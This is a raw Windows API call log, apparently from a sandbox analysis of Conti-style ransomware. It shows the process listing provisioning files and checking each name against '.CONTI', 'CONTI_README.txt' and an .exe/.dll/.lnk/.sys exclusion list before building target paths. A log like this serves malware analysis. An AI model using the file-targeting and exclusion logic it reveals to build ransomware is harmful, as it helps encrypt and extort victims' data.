	[0109.445] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.445] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="414__Connections_Cellular_DIALOG (Sri Lanka)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\414__Connections_Cellular_DIALOG (Sri Lanka)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\414__Connections_Cellular_DIALOG (Sri Lanka)_i1$(__MVID)@WAP.provxml"
	[0109.445] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90f18f32, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90f18f32, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90f18f32, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x280, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="415__Connections_Cellular_Mobitel (Sri Lanka)_i0$(__MVID)@WAP.provxml", cAlternateFileName="415__C~1.PRO")) returned 1
	[0109.445] lstrcmpiW (lpString1="415__Connections_Cellular_Mobitel (Sri Lanka)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.445] lstrcmpiW (lpString1="415__Connections_Cellular_Mobitel (Sri Lanka)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.445] StrStrIW (lpFirst="415__Connections_Cellular_Mobitel (Sri Lanka)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.445] StrStrIW (lpFirst="415__Connections_Cellular_Mobitel (Sri Lanka)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.445] StrStrIW (lpFirst="415__Connections_Cellular_Mobitel (Sri Lanka)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.445] StrStrIW (lpFirst="415__Connections_Cellular_Mobitel (Sri Lanka)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.445] StrStrIW (lpFirst="415__Connections_Cellular_Mobitel (Sri Lanka)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.445] StrStrIW (lpFirst="415__Connections_Cellular_Mobitel (Sri Lanka)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.445] StrStrIW (lpFirst="415__Connections_Cellular_Mobitel (Sri Lanka)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.445] StrStrIW (lpFirst="415__Connections_Cellular_Mobitel (Sri Lanka)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.445] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.445] lstrlenW (lpString="415__Connections_Cellular_Mobitel (Sri Lanka)_i0$(__MVID)@WAP.provxml") returned 69
	[0109.446] GetProcessHeap () returned 0x1720000
	[0109.446] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x140) returned 0x6573f58
	[0109.446] lstrcpyW (in: lpString1=0x6573f58, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.446] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.446] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="415__Connections_Cellular_Mobitel (Sri Lanka)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\415__Connections_Cellular_Mobitel (Sri Lanka)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\415__Connections_Cellular_Mobitel (Sri Lanka)_i0$(__MVID)@WAP.provxml"
	[0109.446] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90f18f32, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90f18f32, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90f18f32, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x27e, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="416__Connections_Cellular_Zain (Sudan)_i0$(__MVID)@WAP.provxml", cAlternateFileName="416__C~1.PRO")) returned 1
	[0109.446] lstrcmpiW (lpString1="416__Connections_Cellular_Zain (Sudan)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.446] lstrcmpiW (lpString1="416__Connections_Cellular_Zain (Sudan)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.446] StrStrIW (lpFirst="416__Connections_Cellular_Zain (Sudan)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.446] StrStrIW (lpFirst="416__Connections_Cellular_Zain (Sudan)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.446] StrStrIW (lpFirst="416__Connections_Cellular_Zain (Sudan)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.446] StrStrIW (lpFirst="416__Connections_Cellular_Zain (Sudan)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.446] StrStrIW (lpFirst="416__Connections_Cellular_Zain (Sudan)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.446] StrStrIW (lpFirst="416__Connections_Cellular_Zain (Sudan)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.446] StrStrIW (lpFirst="416__Connections_Cellular_Zain (Sudan)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.446] StrStrIW (lpFirst="416__Connections_Cellular_Zain (Sudan)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.446] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.446] lstrlenW (lpString="416__Connections_Cellular_Zain (Sudan)_i0$(__MVID)@WAP.provxml") returned 62
	[0109.446] GetProcessHeap () returned 0x1720000
	[0109.446] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x132) returned 0x6573b80
	[0109.446] lstrcpyW (in: lpString1=0x6573b80, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.446] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.446] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="416__Connections_Cellular_Zain (Sudan)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\416__Connections_Cellular_Zain (Sudan)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\416__Connections_Cellular_Zain (Sudan)_i0$(__MVID)@WAP.provxml"
	[0109.446] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90f3f19a, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90f3f19a, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90f3f19a, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x28a, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="417__Connections_Cellular_Halebop (Sweden)_i0$(__MVID)@WAP.provxml", cAlternateFileName="417__C~1.PRO")) returned 1
	[0109.446] lstrcmpiW (lpString1="417__Connections_Cellular_Halebop (Sweden)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.446] lstrcmpiW (lpString1="417__Connections_Cellular_Halebop (Sweden)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.446] StrStrIW (lpFirst="417__Connections_Cellular_Halebop (Sweden)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.446] StrStrIW (lpFirst="417__Connections_Cellular_Halebop (Sweden)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.446] StrStrIW (lpFirst="417__Connections_Cellular_Halebop (Sweden)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.446] StrStrIW (lpFirst="417__Connections_Cellular_Halebop (Sweden)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.446] StrStrIW (lpFirst="417__Connections_Cellular_Halebop (Sweden)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.446] StrStrIW (lpFirst="417__Connections_Cellular_Halebop (Sweden)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.446] StrStrIW (lpFirst="417__Connections_Cellular_Halebop (Sweden)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.447] StrStrIW (lpFirst="417__Connections_Cellular_Halebop (Sweden)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.447] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.447] lstrlenW (lpString="417__Connections_Cellular_Halebop (Sweden)_i0$(__MVID)@WAP.provxml") returned 66
	[0109.447] GetProcessHeap () returned 0x1720000
	[0109.447] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13a) returned 0x65741e8
	[0109.447] lstrcpyW (in: lpString1=0x65741e8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.447] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.447] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="417__Connections_Cellular_Halebop (Sweden)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\417__Connections_Cellular_Halebop (Sweden)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\417__Connections_Cellular_Halebop (Sweden)_i0$(__MVID)@WAP.provxml"
	[0109.447] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90f3f19a, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90f3f19a, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90f3f19a, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c2, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="418__Connections_Cellular_3 (Sweden)_i0$(__MVID)@WAP.provxml", cAlternateFileName="418__C~1.PRO")) returned 1
	[0109.447] lstrcmpiW (lpString1="418__Connections_Cellular_3 (Sweden)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.447] lstrcmpiW (lpString1="418__Connections_Cellular_3 (Sweden)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.447] StrStrIW (lpFirst="418__Connections_Cellular_3 (Sweden)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.447] StrStrIW (lpFirst="418__Connections_Cellular_3 (Sweden)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.447] StrStrIW (lpFirst="418__Connections_Cellular_3 (Sweden)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.447] StrStrIW (lpFirst="418__Connections_Cellular_3 (Sweden)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.447] StrStrIW (lpFirst="418__Connections_Cellular_3 (Sweden)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.447] StrStrIW (lpFirst="418__Connections_Cellular_3 (Sweden)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.447] StrStrIW (lpFirst="418__Connections_Cellular_3 (Sweden)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.447] StrStrIW (lpFirst="418__Connections_Cellular_3 (Sweden)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.447] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.447] lstrlenW (lpString="418__Connections_Cellular_3 (Sweden)_i0$(__MVID)@WAP.provxml") returned 60
	[0109.447] GetProcessHeap () returned 0x1720000
	[0109.447] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x12e) returned 0x17e1468
	[0109.447] lstrcpyW (in: lpString1=0x17e1468, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.447] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.447] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="418__Connections_Cellular_3 (Sweden)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\418__Connections_Cellular_3 (Sweden)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\418__Connections_Cellular_3 (Sweden)_i0$(__MVID)@WAP.provxml"
	[0109.447] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90f3f19a, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90f3f19a, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90f3f19a, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2be, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="419__Connections_Cellular_3 (Sweden)_i1$(__MVID)@WAP.provxml", cAlternateFileName="419__C~1.PRO")) returned 1
	[0109.447] lstrcmpiW (lpString1="419__Connections_Cellular_3 (Sweden)_i1$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.447] lstrcmpiW (lpString1="419__Connections_Cellular_3 (Sweden)_i1$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.447] StrStrIW (lpFirst="419__Connections_Cellular_3 (Sweden)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.447] StrStrIW (lpFirst="419__Connections_Cellular_3 (Sweden)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.447] StrStrIW (lpFirst="419__Connections_Cellular_3 (Sweden)_i1$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.447] StrStrIW (lpFirst="419__Connections_Cellular_3 (Sweden)_i1$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.447] StrStrIW (lpFirst="419__Connections_Cellular_3 (Sweden)_i1$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.448] StrStrIW (lpFirst="419__Connections_Cellular_3 (Sweden)_i1$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.448] StrStrIW (lpFirst="419__Connections_Cellular_3 (Sweden)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.448] StrStrIW (lpFirst="419__Connections_Cellular_3 (Sweden)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.448] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.448] lstrlenW (lpString="419__Connections_Cellular_3 (Sweden)_i1$(__MVID)@WAP.provxml") returned 60
	[0109.448] GetProcessHeap () returned 0x1720000
	[0109.448] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x12e) returned 0x17e16d8
	[0109.448] lstrcpyW (in: lpString1=0x17e16d8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.448] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.448] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="419__Connections_Cellular_3 (Sweden)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\419__Connections_Cellular_3 (Sweden)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\419__Connections_Cellular_3 (Sweden)_i1$(__MVID)@WAP.provxml"
	[0109.448] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90221ca6, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90221ca6, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90221ca6, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x353, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="41__Connections_Cellular_VELCOM (Belarus)_i2$(__MVID)@WAP.provxml", cAlternateFileName="41__CO~1.PRO")) returned 1
	[0109.448] lstrcmpiW (lpString1="41__Connections_Cellular_VELCOM (Belarus)_i2$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.448] lstrcmpiW (lpString1="41__Connections_Cellular_VELCOM (Belarus)_i2$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.448] StrStrIW (lpFirst="41__Connections_Cellular_VELCOM (Belarus)_i2$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.448] StrStrIW (lpFirst="41__Connections_Cellular_VELCOM (Belarus)_i2$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.448] StrStrIW (lpFirst="41__Connections_Cellular_VELCOM (Belarus)_i2$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.448] StrStrIW (lpFirst="41__Connections_Cellular_VELCOM (Belarus)_i2$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.448] StrStrIW (lpFirst="41__Connections_Cellular_VELCOM (Belarus)_i2$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.448] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.448] lstrlenW (lpString="41__Connections_Cellular_VELCOM (Belarus)_i2$(__MVID)@WAP.provxml") returned 65
	[0109.448] GetProcessHeap () returned 0x1720000
	[0109.448] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x138) returned 0x6572ad8
	[0109.448] lstrcpyW (in: lpString1=0x6572ad8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.448] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.449] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="41__Connections_Cellular_VELCOM (Belarus)_i2$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\41__Connections_Cellular_VELCOM (Belarus)_i2$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\41__Connections_Cellular_VELCOM (Belarus)_i2$(__MVID)@WAP.provxml"
	[0109.449] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90f3f19a, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90f3f19a, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90f3f19a, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1de, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="420__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", cAlternateFileName="420__C~1.PRO")) returned 1
	[0109.449] lstrcmpiW (lpString1="420__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpString2=".") returned 1
	[0109.449] lstrcmpiW (lpString1="420__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpString2="..") returned 1
	[0109.449] StrStrIW (lpFirst="420__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpSrch=".CONTI") returned 0x0
	[0109.449] StrStrIW (lpFirst="420__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.449] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.449] lstrlenW (lpString="420__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml") returned 68
	[0109.449] GetProcessHeap () returned 0x1720000
	[0109.449] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13e) returned 0x6573518
	[0109.449] lstrcpyW (in: lpString1=0x6573518, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
